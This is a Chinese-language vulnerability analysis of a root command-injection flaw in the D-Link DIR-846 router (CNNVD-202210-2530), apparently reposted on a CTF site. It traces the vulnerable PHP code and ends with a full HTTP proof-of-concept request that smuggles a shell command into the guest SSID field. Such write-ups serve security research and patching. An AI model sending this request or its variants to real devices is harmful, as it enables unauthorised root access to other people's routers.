D-Link路由器命令执行漏洞(CNNVD-202210-2530 )

IoT 1年前 (2022) admin
662 0 0
D-Link路由器命令执行漏洞(CNNVD-202210-2530 )



漏洞描述


D-Link DIR-846是中国友讯(D-Link)公司的一款无线路由器。
D-Link DIR-846 存在安全漏洞。远程攻击者利用该漏洞通过HNAP1/control/SetGuestWLanSettings.php以root身份执行任意代码。
该漏洞目前已被修复,请升级到最新版本。


影响版本

D-Link DIR-846


漏洞分析

通过binwalk对固件进行提取,提取后在在squashfs-root文件夹下会发现完整的文件系统。

D-Link路由器命令执行漏洞(CNNVD-202210-2530 )

www目录为web目录,可通过其他方式将源码拷贝出来进行分析。

D-Link路由器命令执行漏洞(CNNVD-202210-2530 )

通过公开存在漏洞的文件/www/HNAP1/control/SetGuestWLanSettings.php找对对应存在漏洞的代码,这里的 $option[“wl(0).(1)_ssid”]、$option[“wl(1).(1)_ssid”]两个参数可控,导致命令执行。而这里的$option[]是如何一步步传递走到这里最终执行命令的,那么就需要回溯代码。

D-Link路由器命令执行漏洞(CNNVD-202210-2530 )

当前类被实例化时会调用基类下的__construct()方法,跟进该方法。

D-Link路由器命令执行漏洞(CNNVD-202210-2530 )

在基类GetMultipleHNAPs中这里的$act_val可控也就导致我们上述所说的$option[]可控,__construct()通过读取配置文件和SESSION校验的方式来限制用户对接口的访问。

D-Link路由器命令执行漏洞(CNNVD-202210-2530 )

这里首先需要17行的判断为FALSE,判断我们上述提到的两个参数的长度为0或大于60。代码21-22行需传入wl(0).(1)_preshared_key、wl(1).(1)_preshared_key,字面意思需要传入解密的秘钥。然后通过code_decode()来解密。之后判断我们解密后的值否为空或者长度小于8。跟进code_decode()函数。

D-Link路由器命令执行漏洞(CNNVD-202210-2530 )

可以发现该处存在加解密函数,我们可以通过传入自定义$key生成加密秘钥后,在传入上述wl(0).(1)_preshared_key中。

D-Link路由器命令执行漏洞(CNNVD-202210-2530 )

payload中还传入了以下四个参数,这里的四个参数不传入应该也不会影响下面exec()的执行,因为没有经过实际环境测试,所以还是传入为好。

D-Link路由器命令执行漏洞(CNNVD-202210-2530 )

最终通过save_cfg_info()函数将传入的配置信息写入到config文件中。接下来就将我们可控参数拼接到了exec()造成RCE。

D-Link路由器命令执行漏洞(CNNVD-202210-2530 )


漏洞复现

POST /HNAP1/ HTTP/1.1Host: 192.168.0.1Proxy-Connection: keep-aliveContent-Length: 351Accept: application/jsonOrigin: http://192.168.0.1HNAP_AUTH: 866164AB3A175C358A2F5A80F1BF591E 1571916427322SOAPACTION: "http://purenetworks.com/HNAP1/SetGuestWLanSettings"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36Content-Type: application/jsonReferer: http://192.168.0.1/Guestwireless.html?t=1571916385005Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7Cookie: sid=eea33228-f58c-11e9-b614-df9bf19cb824; uid=sB1xQK5E; PrivateKey=57FB98B6CA565BFA093D27DB0A2E1A9F; PHPSESSID=a85e4817b1c1dddd548b245b41acc35b; timeout=5
{"SetGuestWLanSettings":{"wl(0).(1)_enable":"1","wl(0).(1)_local_access":"0","wl(0).(1)_local_access_timeout":"0","wl(0).(1)_ssid":"a&&id>/www/a.txt","wl(0).(1)_crypto":"none","wl(0).(1)_preshared_key":"SFFMdk9xSE4=","wl(1).(1)_enable":"0","wl(1).(1)_ssid":"D-Link_DIR-846_5G_Guest","wl(1).(1)_preshared_key":"SFFMdk9xSE4=","wl(1).(1)_crypto":"none"}}
D-Link路由器命令执行漏洞(CNNVD-202210-2530 )


感谢关注

原文始发于微信公众号(不懂代码的匹夫):D-Link路由器命令执行漏洞(CNNVD-202210-2530 )

版权声明:admin 发表于 2022年11月19日 下午5:57。
转载请注明:D-Link路由器命令执行漏洞(CNNVD-202210-2530 ) | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...